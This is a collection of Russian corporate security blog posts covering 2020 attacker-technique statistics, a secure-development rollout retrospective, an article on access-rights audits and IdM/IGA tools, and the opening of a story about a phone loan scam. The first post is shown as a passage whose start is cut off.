Quasar 5%
LokiBot 4%
Pony 4%
Dharma 3%
Hawkey 3%
прочие около 2%

Более профессиональные группировки, как правило, используют самописное вредоносное ПО, поэтому составить статистический срез в этом отношении не представляется возможным.

Техники, применяемые для преодоления периметра и взлома инфраструктуры

В случае если злоумышленники применяли комбинированный способ атаки, мы учитывали вектор, наиболее критичный с точки зрения контроля и блокировки. Например, при атаке на Exchange Server с помощью уязвимости CVE-2020-0688, для эксплуатации которой требуются учетные данные одного из пользователей, инцидент учитывался как использование уязвимостей в веб-приложении, так как в данном случае более критична необходимость закрытия уязвимости (технической возможности полного контроля компрометации учетных данных за пределами компании не существует).

Действия киберкриминала за последний год существенно не поменялись. Злоумышленники этого уровня все чаще используют фишинг и социальную инженерию для проникновения в компанию. В целом тяготение киберкриминала к конкретным техникам взлома в 2020 году прослеживалось достаточно четко:

Фишинг 74%
Атаки на веб-приложения 20%
Компрометация учетных записей 3%
Эксплуатация уязвимостей периметра 2%
Supply chain менее 1%

Это объяснимо: фишинг достаточно прост и по-прежнему эффективен для массовых атак, требует минимальных вложений в обследование и анализ инфраструктуры жертвы. Параллельно влияет ежегодно растущее число утечек учетных данных с публичных и внутренних сервисов, что вывело атаки посредством компрометации учетных записей на третье место. А вот атаки через подрядчика (supply chain) требуют длительной подготовки, поэтому крайне редко используются этой категорией злоумышленников.

Существенно отличается статистика по кибернаемникам и проправительственным группировкам, нацеленным на деструктивные действия и шпионаж с использованием более фокусного, индивидуального подхода к реализации атак:

Атаки на веб-приложения 45%
Эксплуатация уязвимостей периметра 32%
Supply chain 16%
Компрометация учетных записей 4%
Фишинг 3%

Слабый уровень защищенности веб-приложений на объектах КИИ и в органах государственной власти делает этот вектор наиболее популярным у высокопрофессиональных киберпреступников. Также существенный вес имеют атаки через подрядчика, который, как правило, обладает высокими привилегиями на обслуживание не только корпоративных, но зачастую и закрытых технологических сегментов. Поэтому компаниям стоит обратить внимание на уровень защищенности подрядных организаций и выстроить максимально безопасный способ доступа подрядчиков в инфраструктуру.

Техники, используемые злоумышленниками для закрепления и развития атаки

Совокупно ключевые способы закрепления в инфраструктуре жертвы сводятся к следующим техникам:

механизмы автозагрузки прописывание запуска инструментария в автозагрузку операционной системы и сокрытие этого запуска от защитных механизмов
системные службы создание системной службы для функционирования инструментария
формирование собственного драйвера для максимального сокрытия от защитных алгоритмов
использование для работы вредоносного ПО технологий WMI внутренних технологий управления Windows
использование ОС для работы инструментария BITS-задач фоновых задач передачи файлов
использование планировщика задач для старта вредоносного ПО в определенное время
использование планировщика задач для старта вредоносного ПО в определенное время
использование планировщика задач для старта вредоносного ПО в определенное время

Ключевые техники для распространения по сети:

Pass the Ticket/Pass the Hash кража аутентификационной информации пользователей с использованием слабой защиты аутентификации в Windows
использование удаленных сервисов: RDP, SMB, SSH применение административных протоколов с предшествующей кражей учетных записей пользователей
эксплуатация уязвимостей удаленных сервисов: RDP-, SMB-, WEB-компоненты эксплуатация уязвимостей в административных протоколах

При использовании комбинированного способа атаки учитывался вектор, наиболее сложный для технического детектирования.

Ситуация в 2020 году выглядела следующим образом.

Закрепление

Группировки среднего уровня:

Механизмы автозагрузки 70%
Использование планировщика задач 15%
Системные службы 10%
Использование BITS-задач 5%
Формирование собственного драйвера 0%
Использование технологий WMI 0%

Кибернаемники и проправительственные группировки:

Системные службы 70%
Использование планировщика задач 10%
Использование BITS-задач 7%
Механизмы автозагрузки 5%
Использование технологий WMI 5%
Формирование собственного драйвера 3%

Распространение

Группировки среднего уровня:

Использование удаленных сервисов: RDP, SMB, SSH 80%
Pass the Ticket/Pass the Hash 15%
Эксплуатация удаленных сервисов: RDP-, SMB-, WEB-компоненты 5%

Кибернаемники и проправительственные группировки:

Использование удаленных сервисов: RDP, SMB, SSH 60%
Pass the Ticket/Pass the Hash 20%
Эксплуатация удаленных сервисов: RDP-, SMB-, WEB-компоненты 20%

Видно существенное различие подходов, используемых группировками разного уровня для сокрытия своей активности. Инструменты, применяемые группировками среднего уровня, гораздо проще для реализации и могут быть детектированы командой защиты средней квалификации. Более профессиональные группировки используют подходы, требующие сложных алгоритмов выявления и продвинутых технологий защиты.

Подход к реализации вредоносного кода

Группировки среднего уровня:

Легитимные корпоративные или свободно распространяемые утилиты для администрирования 40%
Различные доступные инструменты и фреймворки (для проведения анализа защищенности или ВПО, опубликованное в интернете) 40%
Самописное бинарное вредоносное ПО 10%
Самописные скрипты на различных интерпретируемых языках (Powershell, vbs, js, bat) 10%

Кибернаемники и проправительственные группировки

Самописное бинарное вредоносное программное обеспечение 50%
Самописные скрипты на различных интерпретируемых языках (Powershell, vbs, js, bat) 20%
Легитимные корпоративные или свободно распространяемые утилиты для администрирования 20%
Различные доступные инструменты и фреймворки (для проведения анализа защищенности или ВПО, опубликованное в интернете) 10%

Ключевые узлы инфраструктуры, к которым злоумышленники стремились получить доступ

Группировки среднего уровня при проведении атак, как правило, были нацелены на получение доступа к следующим узлам инфраструктуры:

Контроллер домена 80% случаев (для получения максимальных привилегий и возможности использовать различных учетных записей)
АРМ и транзитные серверы, обрабатывающие платежную информацию 85% (с целью крупной монетизации атаки)
АРМ ИТ-администраторов с высоким уровнем привилегий 75%
Системы ИТ-управления инфраструктурой (серверы инвентаризации, обновления, управления конфигурацией и т.д.) 65% (для получения наиболее полной информации об инфраструктуре)
Прикладные системы, хранящие финансовую информацию (АБС, ДБО, ERP, бухгалтерские системы) 45% (для возможности более типизированной монетизации через платежную информацию или вирусы-шифровальщики)
Системы ИБ-управления инфраструктурой (антивирусное ПО, системы защиты от несанкционированного доступа, сканеры уязвимостей) 40% (для получения возможности централизованного управления парком серверов и рабочих станций с высокими уровнями
При защите и мониторинге безопасности инфраструктуры рекомендуем учитывать данные особенности и повысить контроль за указанными активами. Надеемся, эта аналитика будет полезна при определении приоритетов реализации тех или иных мер защиты. Stay safe!

Подробнее..

Категории: Информационная безопасность , Аналитика , Исследования и прогнозы в it , Кибербезопасность , Блог компании ростелеком-солар , Кибергруппировки , Целенаправленные атаки

Строим безопасную разработку в ритейлере. Итоги одного большого проекта

22.12.2020 10:22:28 |

Автор: admin

Эта статья завершающая в цикле материалов о нашем опыте выстраивания процесса безопасной разработки для крупного ритейлера. Если пропустили, можете прочитать первые части: о безопасной разработке порталов и мобильных приложений, о безопасной разработке в группе приложений SAP и о встраивании в процесс разработки кассового ПО. Настало время ~~собрать шишки, которые мы набили~~ подвести итоги.

Все было классно. И на этом мы могли бы закончить, если бы не одно но. При планировании мы некорректно оценили время интеграции. Спойлер: многое пошло не так, в результате внедрение усложнилось, сроки сдвинулись. Спойлер 2: учесть все факторы риска было невозможно. И вот с этого момента давайте поподробнее.

Lessons to Be Learned

1. Учитываем регламенты и бюрократию

Чем больше заказчик, тем больше у него регламентов и бюрократии, которые созданы облегчить все, но на деле только усложняют. О первый камень мы споткнулись на этапе конкурса. Нас попросили подготовить генеральный план еще до того, как мы успели ознакомиться со всеми внутренними требованиями и нюансами, а также устройством компании изнутри, которые впоследствии на многое повлияли. Это было требованием директората, без которого внедрение не случилось бы. Мы согласились и, оценив риски, подписались под довольно свободные сроки, как нам тогда показалось.

На старте заказчик предупредил нас, что у него есть регламент, согласно которому внедрения должны проходить через три стандартных этапа: разработка, тестирование и продакшн. Расскажем на примере, почему эти правила на самом деле ничего не облегчают.

Нам нужно было внедриться в большое количество репозиториев мобильных приложений, но не во всех из них был настроен CI, и поэтому не везде можно было посмотреть, как собирается код. Поэтому мы сначала получали доступ к исходному коду (к сожалению, только на чтение). Доступа к инфраструктуре сборки и тестирования у нас не было, поэтому мы пытались собрать его у себя локально, писали внутренние инструкции для воспроизводимости и страховки от бас-фактора, пытались автоматизировать сборку и запуск анализа, постоянно консультировались с разработчиками ритейлера. Наконец, когда мы локально прогнали все анализы исходного (или собранного кода) в Solar appScreener, все финализировали и пришли к заказчику с готовым планом, выяснилось непредвиденное. Некоторые репозитории изменились (соответственно, наши подходы устарели), а часть тимлидов просто отказалась давать доступ к коду, потребовав инструкции по интеграции, чтобы внедрить все самостоятельно.

Получилось, что какую-то работу мы проделали зря, какую-то передали на сторону заказчика. И если бы мы миновали бюрократический процесс, существенно сэкономили бы время. Как мы увидели на примере внутренних разработчиков позже, избежать его было можно. Ближе к концу проекта мы убедились, что могли бы так же игнорировать эти требования без какого-либо ущерба проекту и репутации. Но к тому моменту интеграция уже перешла в финальную фазу отладки. Мы сделали вывод, что в будущем будем договариваться, чтобы с нас снимали требования о жестком соответствии регламентам, если их несоблюдение никак не влияет на проект. Также мы поняли, что необходимо было настаивать на большем вовлечении со стороны ритейлера. Так мы могли узнать о значимых изменениях раньше и более гибко на них отреагировать. И самый главный вывод: при планировании сроков обязательно нужно оценивать зарегламентированность крупных организаций как веский фактор риска.

2. Текучка существенный тормоз процесса

В большой компании большая текучка кадров еще одна причина, по которой нас периодически отбрасывало назад по временной петле. Мы несколько раз достигали договоренностей с ответственными лицами, которые впоследствии уходили из компании. Поэтому нам приходилось либо заново договариваться с новым сотрудником о соблюдении ранее утверждённых договорённостей, либо общаться с вышестоящим руководителем (в тех случаях, когда замену ему еще не нашли).

Однажды нас застали врасплох категоричным ответом: Я считаю, что это решение будет неверным. Мы так делать не будем. Это случилось, когда мы уже договорились о полной передаче поддержки баз данных MariaDB с руководителем отдела администрирования баз данных. Перед самой сдачей проекта, когда мы все согласовали, выяснилось, что в отделе сменился руководитель. И хотя все договоренности с прежним сотрудником были запротоколированы, согласно регламенту, нам пришлось пойти на компромисс и взять администрирование на себя в рамках техподдержки всего продукта. Оказалось, что заказчик не берет на поддержку MariaDB, хотя в проектной документации не было упоминаний об этом.

От таких случаев полностью не застрахуешься, поэтому чтобы выйти из ситуации, нужно, с одной стороны, уметь жестко фиксировать решения и следовать им, с другой стороны, искать точки соприкосновения и идти навстречу друг другу.

3. Погружение в специфику избавит от множества проблем

На этапе внедрения мы нередко сталкивались с недочетами в планировании. Поскольку менеджмент ритейлера попросил подготовить генеральный план до утверждения проекта, а после утверждения мы были вынуждены идти четко по намеченному курсу, возникали сложности. На старте мы ожидали, что внутри компании все будет устроено плюс-минус единообразно (не считая SAP), но это оказалось совсем не так. Отличались инфраструктура и способы ее развертывания, регламенты по разработке, уставы, ограничения в приобретении продуктов и т.д. Мы прекрасно понимали, что столкнемся с различными технологиями в разработке, но надеялись на единые подходы к процессам и единые концепции, и вот в этом мы ошиблись.

Завершив проект, мы пришли к выводу, что теперь на этапе разведки и анализа мы будем рассматривать каждое подразделение enterprise как отдельную компанию и глубоко погружаться в его специфику. Определять, какие черты общие, а какие нет. После этого внедрения мы сформировали общий опросник, который позволяет понять, как происходит процесс разработки, как разработчики пишут свой код, как они применяют и выкатывают изменения, какая у них инфраструктура для продакшн-среды и др.

Интеграция такого масштаба это партнерские отношения, в которых все стороны должны договариваться и уметь гибко реагировать на изменения. Тем не менее, чтобы получить более или менее четкий план, лучше выбрать итеративный подход в его составлении.

Изменения в продукте по результатам проекта

1. Интеграция с AD

До этого проекта интеграция Solar appScreener с Active Directory не была оптимизирована под высокие нагрузки. Она начинала тормозить при подключении к каталогам с тысячами пользователей, с ней было не очень удобно работать. В процессе развития проекта систему доработали так, что никаких нареканий к ней уже не возникало. Теперь мы сможем интегрироваться с любой подобной системой, и проблем с производительностью у нас не будет.

2. Jira

Мы также серьезно улучшили все нюансы, связанные с Jira. До проекта мы полагались на дефолтную реализацию Jira, но у данной ритейловой компании Jira была очень серьезно переписана: добавлены различные поля, изменена дефолтная механика создания задач, все изначальные шаблоны. Поэтому мы внедрили в Solar appScreener инструмент, который позволяет подстраиваться под любой вид интеграции, потому что имеет возможность редактировать тело создаваемой задачи, которая посылается в Jira по API из Solar appScreener. Это очень гибкий инструмент.

Например, когда мы настраивали интеграцию с SAP, то столкнулись с тем, что наша старая интеграция с Jira выгружает какие-то дефолтные поля задачи, ты пытаешься создать задачу, и это не получается. Думаешь, что происходит?. Открываешь Jira, а там все не так, Jira по API выдает абсолютно не те дефолтные поля, не того типа данных, которые на самом деле должны содержаться. Но поскольку на эту реализацию у заказчика были завязаны процессы, то проблемы надо было решать на стороне Solar appScreener.

В результате в SAP нужно было заранее определить поля estimation time to do this task. Estimation time приходит как string, заходишь и видишь в нем два поля. А если открыть XML, то обнаруживается, что в этих полях данные должны быть описаны определенным образом. То есть это уже, по сути, словарь со множеством значений, где нужно сразу прописать время, например, one day в формате именно 1d. Ты это исправляешь, пытаешься запустить интеграцию и опять что-то не работает. Смотришь и понимаешь: какое-то поле, которое выгрузилось как обязательное, действительно числится как обязательное. Но при этом в самом интерфейсе его заполнять не нужно. Пару раз вот так потыкавшись, ты в итоге реализуешь интеграцию, но если бы у нас не было возможности гибкой настройки любого вида полей, то мы бы не смогли настроить интеграцию с такой кастомной версией Jira.

3. Изменение архитектуры приложения

Параллельно с этим проектом мы серьезно модернизировали архитектуру нашего приложения. Это потребовало существенных трудозатрат, так как необходимо было перейти от парадигмы цельного монолита, нагрузка от работы которого полностью ложилась на сервер, на классическую модель backend-frontend. Из-за чего пришлось применять другие подходы во всей разработке, проектировании, создании своего API и изменении стека технологий. В итоге это решение существенно упростило создание автоматизации так как именно наш новый API стал её основным инструментом и точкой входа.

Для себя мы выяснили, что есть очень много запросов на переход с MariaDB/MySQL, функционала которой было достаточно для работы приложения, на PostreSQL. Особенно со стороны крупного бизнеса, для которого эта база данных является одной из наиболее распространенных благодаря широкому функционалу и хорошей поддержке. Так, заказчик в определенный момент отказался от поддержки MariaDB, и их подразделение баз данных перешло на работу исключительно с PostgreSQL. Поэтому нам пришлось внедрять поддержку этой базы данных.

Резюме

В целом, этот заказчик, будучи крупной компанией, очень сильно помог развитию нашего продукта. Это серьезный боевой кейс, который привнес много понимания, как должно эволюционировать решение. По итогам внедрения мы сформулировали подходы к оценке рисков и планированию проекта в сегменте enterprise и задекларировали опросник для сбора информации об инфраструктуре заказчика.

Проект выявил узкие места, и мы осознали, как с ними бороться в будущем. Наша команда поняла для себя, как должна выглядеть архитектура Solar appScreener через год, чтобы продукт улучшался, расширялись его варианты поставки. Многое для себя выяснили с точки зрения улучшения пользовательского опыта работы с продуктом. В некоторых местах не хватало поиска по пользователям. Нужно было дать возможность добавить пользователя в локальную группу из LDAP и других протоколов сразу в нескольких, связанных с панелью администрирования местах (в настройках конкретного проекта, в настройках пользователя и т.п.).

Все участники этого проекта с нашей стороны сейчас занимаются развитием продукта, и у них есть общее понимание, как он должен масштабироваться на крупные внедрения процесса безопасной разработки. Мы работаем над очередной ещё более глобальной модернизацией архитектуры всего приложения, которое позволит его масштабировать и изменять более гибко, сделает более универсальной развёртку и проще взаимодействие для пользователей.

Это заключительная часть цикла статей о построении процесса безопасной разработки в крупном ритейлере. Будем рады ответить на вопросы и узнать о вашем опыте реализации практик безопасной разработки в комментариях!

Автор: Иван Старосельский, руководитель отдела эксплуатации и автоматизации информационных систем

Подробнее..

Категории: Информационная безопасность , Postgresql , Gitlab , Ci/cd , Совершенный код , Управление продуктом , Софт , Уязвимости , Devsecops , Анализ кода , Блог компании ростелеком-солар , Jira , Sap , Безопасная разработка , Activedirectory

Какие проблемы может выявить аудит прав доступа и что с этим делать

21.01.2021 10:23:56 |

Автор: admin

Управление доступом один из самых непростых моментов в любой немаленькой компании. Для того чтобы все было по уму, должна быть налажена совместная работа между ИТ-отделами, подразделениями безопасности, кадровиками и руководителями групп и подразделений. И без аудита прав доступа здесь не обойтись. Он может быть как внутренним, так и внешним. Очевидно, что проблемы лучше выявить и устранить на этапе собственной проверки, чем потом получить по голове от регулятора или доиграться до утечки информации либо другого крупного инцидента.

В этой статье я расскажу о том, какие проблемы можно выявить при аудите прав доступа в компании и как можно упростить себе жизнь с помощью современных IdM/IGA-решений (Identity Management/Identity Governance and Administration).

Нарушения есть? А если найду?

Изначально термин аудит применялся в бухгалтерской деятельности и финансовой отчетности. Вообще, история его появления уходит корнями вглубь веков для особых гурманов, мы завернули ее

сюда

Слово аудит произошло от латинского audit слушает этот термин родился от публичного заслушивания отчётов о какой-либо деятельности и его одобрения слушателями. Потребность в таких слушаниях возникла очень давно, еще на заре товарно-денежных отношений.

Когда-то в средние века в Европе одни купцы (которые занимались торговлей и продавали свои товары жителям городов и деревень) просили третью сторону проверить бухгалтерские книги других купцов, чтобы засвидетельствовать их добросовестность и определить, можно ли с ними вступать в торговые отношения.

Суть аудитов не слишком изменилась с тех времён. Как говорит нам современный Вики-словарь: Аудиторская проверка процедура независимой проверки и оценки отчётности, данных учёта и деятельности организации, а также системы, процесса, проекта или продукта.

Со временем термин проник и в другие сферы, в том числе в ИТ в целом и информационную безопасность в частности; есть специально разработанные стандарты для отделов информационных технологий в любой организации. COBIT пакет международных и национальных стандартов и руководств в области управления IT и аудита IT-безопасности. Европейский стандарт GDPR, охватывающий широкий спектр вопросов безопасности и защиты данных. Международный стандарт безопасности данных индустрии платежных карт PCI DSS и т. д. Уровень соответствия таким стандартам можно установить с помощью аудита.

Аудиты, как я уже сказала, могут быть внутренними и внешними. Внутренние проводят сами сотрудники компании, чтобы оценить риски, связанные с соблюдением требований, а также определить, следует ли компания внутренним разработанным стандартам. Внешние аудиты это проверки, которые проводят независимые организации. Отчеты показывают, насколько компания соблюдает государственные, федеральные или отраслевые нормативные акты, правила и стандарты. Заключение внешнего аудитора может содержать рекомендации или предписания, оценку возможных штрафов за несоблюдение требований.

Одна компания может проходить до нескольких десятков аудиторских проверок в год. И бизнес-, и ИТ-, и ИБ-подразделения вынуждены выделять большое количество ресурсов для их прохождения, а потом для устранения выявленных проблем. В идеале необходимо выстроить дальнейшие процессы так, чтобы к следующему аудиту не осталось прежних замечаний.

Зачем нужен аудит прав доступа

Но вернемся наконец от общего к частному. Когда процессы управления доступом организованы эффективно, они, как правило, остаются незаметными для тех, кто в них не участвует. Но, как только что-то идет не так, проблема с управлением доступом может оказаться в центре внимания. Поэтому очень важно проанализировать все составляющие процесса вовремя и сделать выводы, чтобы всегда была возможность улучшить ситуацию.

Аудит и отчетность это не только про обязаловку и контроль ради контроля. Они все-таки имеют ценность с точки зрения безопасности, поскольку направлены на соответствие требованиям и стандартам в любой информационной среде. Аудит позволяет выявить аномалии, контролировать доступ пользователей и выбирать правильные инструменты для обеспечения бесперебойной работы.

В каждой компании есть бизнес-процессы, направленные на создание продукта или услуги, а также политики (поведенческие модели), направленные на достижение результата. Аудит призван выявить отклонения от действующей политики и помочь принять меры, которые предотвратят негативные последствия. Иными словами, цель аудита найти и исправить слабые места, прежде чем кто-то их сможет использовать.

В крупной компании, где множество информационных систем и постоянно меняющаяся среда, проведение аудитов довольно сложная задача. В ручном режиме сделать это практически невозможно, потому что нужно проанализировать огромные объемы информации.

Какие проблемы можно выявить с помощью аудита

Аудит прав доступа вскрывает проблемы как очевидные, так и не очень. Помимо истории с комплаенсом и регуляторами, в тех или иных условиях обнаруженные слабые места могут угрожать информационной безопасности и бизнес-процессам в компании. Пройдемся по списку.

Незаблокированные учетные записи

Ручное управление доступом и редкий аудит приводят к избыточному доступу к данным. Одна из частых причин возникновения инцидентов ИБ незаблокированные вовремя учетки сотрудников, покинувших компанию. Объяснений может быть несколько. Например, проходит слишком много времени от момента увольнения до получения админом указания о блокировке. В некоторых компаниях до сих пор используют обходной лист: пока он гуляет по всем подразделениям, проходит около недели и больше. В других компаниях оформить заявку на прекращение доступа должен руководитель, но пока он выделит на это время, пока заявка отстоит в очереди в ИТ-отдел Иногда учетные записи так и остаются активными, о них просто забывают. А всплывает это только во время аудита или еще хуже при расследовании инцидента ИБ.

Накопление прав

При изменении штатной позиции сотрудник, перешедший на новую должность, запрашивает новые права в информационной системе, а старые права не удаляются, их по-прежнему можно использовать. Бывает, когда сотруднику дали повышенные привилегии на время, например, на период отпуска руководителя, а удалить забыли. Это может приводить к печальным последствиям от утечки важной конфиденциальной информации до злонамеренных действий с использованием повышенных и вовремя не удаленных прав. По статистике, бывшие сотрудники и смена подразделений это ключевые зоны риска. Иногда дело заканчивается даже уголовными делами: например, в 2015 году, как сообщил портал Banki.ru, бывший сотрудник страховой компании АльфаСтрахование получил два года условно за то, что воспользовался доступом к корпоративной системе после увольнения, скачал базу данных заключенных договоров и передал ее посреднику для перепродажи.

Бесхозные учетные записи

Это те учетки, которые дают доступ к корпоративным системам, службам и приложениям, но не имеют реального владельца. Кроме учетных записей уволенных сотрудников сюда относятся технические, тестовые и другие учетки, которые не закреплены за конкретным сотрудником. Если проверки проводятся нерегулярно, в крупных компаниях выявляются сотни подобных аккаунтов. И вот почему это плохо:

Они дают доступ к почтовым ящикам, к учетным данным приложений, к конфиденциальной информации, и бывшие владельцы учетных записей или злоумышленники могут добраться до ценных ресурсов и нанести вред компании.
Иногда они функционируют, когда это уже не требуется, и потребляют ресурсы или пропускную способность. Такая проблема особенно часто возникает с техническими учетными записями определенных служб. Несколько приложений могут продолжать использовать бесхозную учетную запись из-за ошибки или неправильной конфигурации. Например, когда из-под технической учётки регулярно стартует задание: выгружает из центральной системы на клиентский сервер большой массив данных, которые когда-то были актуальны для обработки и аналитики, но со временем эту актуальность потеряли или были заменены на другие инструменты. Но задание так и продолжает молотить ежедневно, съедая ценные ресурсы и перегружая систему.
Бесхозная учетная запись, когда под ней долгое время никто не работает, выпадает из поля зрения действующей политики и требований безопасности. Требования не применяются к ней и не обновляются. Например, у такой учетки может оказаться слабый или скомпрометированный пароль.
Бесхозные учетки часто используются совместно несколькими сотрудниками. Это повышает риск несанкционированного доступа, а идентифицировать того, кто нанес вред компании, порой просто невозможно.

Слабые пароли и их ненадежное хранение

По данным свежего исследования Ростелеком-Солар, около 80% компаний не соблюдают базовых правил парольной защиты. При проведении тестирования специалистам удалось получить администраторские права практически в каждой компании, что открывает слишком широкие возможности для злоумышленника.

Когда в компании используется множество приложений и для каждого из них свой набор учетных данных и свои требования к паролям, процесс авторизации может быть длительным и не очень удобным для сотрудников. Поэтому, они часто записывают пароли и хранят в доступном месте, например, на приклеенных к рабочему месту стикерах, в блокнотах, на листке под клавиатурой и т. п., либо используют одинаковый пароль для входа в разные системы. Последнее приводит к тому, что все учетные данные сотрудника становятся уязвимыми, т. к. злоумышленнику достаточно узнать один пароль, чтобы получить доступ ко всем приложениям. Ну, и отдельная боль любого безопасника простые пароли, которые злоумышленник может подобрать меньше чем за минуту. Свежий пример взлом систем шведской компании Gunnebo AB, крупного производителя банковских сейфов и хранилищ. По данным издания SiliconAngle, причиной стал слабый пароль у одного из высокопоставленных сотрудников компании. В даркнет утекли схемы банковских систем защиты лакомый кусок для грабителей.

Небезопасное хранение данных на сетевых ресурсах

Каждая организация за годы эксплуатации систем генерирует огромные объемы информации, которые с течением времени только увеличиваются. По оценкам аналитической компании Gartner, как минимум 80% корпоративных данных являются неструктурированными. 7 из 10 пользователей имеют доступ к данным, которого у них быть не должно. Аудиторские проверки во многих компаниях выявляют следующее: конфиденциальная информация, которая хранится на файловых серверах, в облачных хранилищах, на корпоративных порталах, в общих ящиках электронной почты и т. д., не защищена и доступна множеству сотрудников. А это может привести к серьезным инцидентам ИБ: личные данные клиентов и сотрудников, коммерческие предложения, закрытые исследования и прочие секретные сведения могут быть украдены. Кроме того, в некоторых случаях хранение данных должно соответствовать законодательству (например, персональные данные) или стандартам (например, PCI DSS).

Несанкционированный доступ

Часто аудиторы просят продемонстрировать, что пользователю были предоставлены та или иная учетная запись и права в информационной системе на основании утвержденной политики. То есть необходимо показать, что это была автоматизированная процедура или запрос в системе самообслуживания, кем были подтверждены/согласованы такие права, были ли учтены правила разделения обязанностей SoD, какими средствами запрос был исполнен и др. По сути нужна вся сохраненная история по всем этапам таких процессов. Подобные вопросы могут поставить в тупик сотрудников ИТ- и ИБ-подразделений, потому что нередко такую информацию очень сложно найти либо она вообще не сохраняется.

Используем решения класса IdM/IGA

Самое очевидное, что мы можем сделать со сбоящими в ручном режиме процессами, автоматизировать их. Контролировать процессы управления доступом, обеспечивать соблюдение политик и процедур позволяет система класса IdM или IGA. Она получает кадровую информацию о работниках компании и автоматически управляет их учетными записями и правами во всех подключенных системах на основании действующей политики. Давайте снова пройдемся по списку проблем, которые можно выявить при аудите, и я расскажу, как их решает автоматизированная система управления правами доступа.

Проблема с незаблокированными учетками решается автоматической блокировкой. Она происходит моментально, как только увольнение зафиксировано в отделе кадров. Кстати, для ряда компаний, особенно финансовых, это одно из требований регуляторов, например, в части соблюдения стандарта PSI DSS (немедленный отзыв доступа для уволенных работников и необходимость деактивации неактивных пользовательских аккаунтов по истечении 90 дней).

При смене штатной позиции сотрудника решения класса IdM/IGA автоматически активируют процедуру пересмотра прав и смены полномочий. В случае с предоставлением временных прав система предупреждает о том, что срок временного доступа скоро истечет, а потом в нужный момент блокирует его. Так мы решаем вопрос с накоплением прав.

Если говорить о бесхозных учетках, то эту проблему система решает их автоматическим выявлением и возможностью назначить ответственного за ту или иную учетную запись. А при его увольнении решение класса IGA может сигнализировать о необходимости блокировки или смены ответственного.

Проблема простых паролей и их ненадежного хранения также может быть решена с помощью системы управления доступом. Она включает функциональные модули, которые определяют, как сотрудники могут использовать программное обеспечение. Такие системы способны полностью автоматизировать создание идентификаторов на крупном предприятии и ввести централизованную парольную политику для всех подключенных систем или контролировать выполнение отдельных политик для конкретных приложений.

Подключая дополнительные модули, мы можем вообще отказаться от кучи паролей, на радость сотрудникам. Например, служба аутентификации SSO (Single Sign-On) позволяет использовать один набор учетных данных для входа в несколько приложений. Система сама автоматически подставит сложные и безопасные пароли в нужное время и будет хранить их в секрете даже от самого пользователя. Если применять альтернативные средства аутентификации (смарт-карты, биометрию и т. п.), можно полностью отказаться от использования паролей самим сотрудником. А безопасность при этом не пострадает.

Решение класса IdM/IGA в комплексе с системами класса DAG (Data Access Governance) помогут разобраться с небезопасным хранением больших объемов неструктурированных данных, точнее, упорядочат сами данные и контроль за ними. Комплексные решения позволят выявить и категоризировать данные, обнаружить конфиденциальные и наиболее ценные для компании активы, а автоматизированные средства позволят проводить регулярный пересмотр прав доступа к ресурсам и отзыв прав у тех, кто в таком доступе не нуждается. Благодаря постоянному мониторингу пользователей, получающих доступ к критичным данным, мы сможем на ранней стадии выявлять угрозы, обнаруживать утечки и реагировать на них.

Автоматизированная система IdM/IGA способна решить проблему с несанкционированным доступом, внеся определенный вклад в приведение корпоративных систем в соответствие требованиям регуляторов. Сразу скажу, это не панацея, но одна из возможных составляющих решения задачи. Как это может помочь:

Во-первых, можно в любой момент получить исчерпывающую информацию о правах сотрудников или партнеров в информационных системах компании, включая всю историю изменений и ответственных за это специалистов.

Во-вторых, решения класса IdM/IGA позволяют безопасно разграничивать доступ на основании использования ролевой модели. То есть базовый доступ для сотрудников каждого отдела, управления, департамента и т. п. предоставляется на основании заранее определенных ролей. С помощью автоматизированной системы можно поддерживать и легко модифицировать ролевую модель при изменениях структуры компании или функционала сотрудника. Регулярные пересмотры прав доступа позволяют избежать накопления излишних прав и поддерживать их в актуальном состоянии. С помощью матрицы конфликтов полномочий (ролей) SoD (см. скриншот ниже) можно настроить различные сценарии реагирования на совмещение критичных прав.

Кроме того, система автоматически фиксирует отклонения от утвержденной модели доступа (предоставление прав в обход централизованной системы управления доступом), регистрирует нарушение и предлагает принять меры. Все заявки через систему самообслуживания проходят согласование по заранее утвержденным маршрутам, и система хранит всю историю по предоставлению и изменению прав.

Выводы

Автоматизация это возможность избавиться от ручных процессов, которые мешают следовать стратегии по управлению доступом. Подразделениям безопасности будет проще обрабатывать постоянно растущие и меняющиеся наборы данных и вовремя реагировать на угрозы безопасности по мере их возникновения.

Когда мы переводим процедуры управления доступом в автоматический режим, повышается уровень соответствия внутренним политикам организации и требованиям регуляторов. А затраты на поддержание этого уровня снижаются. И тогда никакие аудиторские проверки будут не страшны.

Автор: Людмила Севастьянова, менеджер по продвижению Solar inRights

Подробнее..

Категории: Информационная безопасность , It-инфраструктура , Управление проектами , Софт , Блог компании ростелеком-солар , Управление доступом , Idm , Права доступа , Учётные записи , Аудит , Несанкционированный доступ , Слабые пароли , Требования регуляторов

Ваш звонок очень важен как мошенники пытались навязать мне кредит

05.02.2021 10:09:34 |

Автор: admin

Последнее время кажется, что мошенники стали звонить даже чаще, чем друзья и знакомые. К якобы службе безопасности якобы Сбербанка, которая интересуется, делал ли я перевод Ивану И. из Новосибирска, я как-то даже привык. Но тут позвонили с новым для меня заходом: на этот раз про кредит. Возможно, кто-то из вас даже сталкивался с подобной схемой, но я лично первый раз.

Итак, в самый разгар рабочего дня раздался звонок. На том конце была девушка, которая представилась младшим специалистом Сбербанка (а где же служба безопасности?!). Она сообщила, что вчера я подал заявку на потребительский кредит.

Естественно, никакой реальной заявки от меня не было, и к чему ведет этот разговор стало очевидно сразу. Но я решил все-таки пообщаться с ней подольше: хотелось услышать, как именно меня попытаются обмануть. К тому же мелочь, а приятно пока я разговариваю с мошенницей, она не сможет позвонить кому-то еще.

Вошел в образ и беспокойно ответил, что никаких кредитов не оформлял и что нужно как-то отменить заявку. Мой ответ явно попал в скрипт операторов-разводил, и девушка начала зачитывать вопросы из списка, дабы заполучить мои персональные данные.

О чем со мной говорили мошенники

Настроение было хорошее, поэтому я решил исправно отвечать на вопросы мошенников и дать им возможность зацепиться хоть за что-нибудь:

Сколько у вас карт в нашем банке? Какой на них остаток? Какая была последняя операция?

Эмм карта одна, пользуюсь периодически, но, к сожалению, сумму не помню.

Есть ли у кого-то еще доступ к картам и счету?

Данные есть еще у жены и у мамы.

Есть ли накопительный счет или депозит?

Здесь решил дать волю фантазии и сказал, что на депозите у меня 3 млн руб. Ну, а почему бы и нет?

На том конце послышалась суетапосле чего девушка продолжила:

Есть ли счета в других банках?

Ответил, что есть счет во Внешэкономбанке. Название одной из крупнейших госкорпораций (ВЭБ) ее явно не смутило, и она зафиксировала эконом-банк.

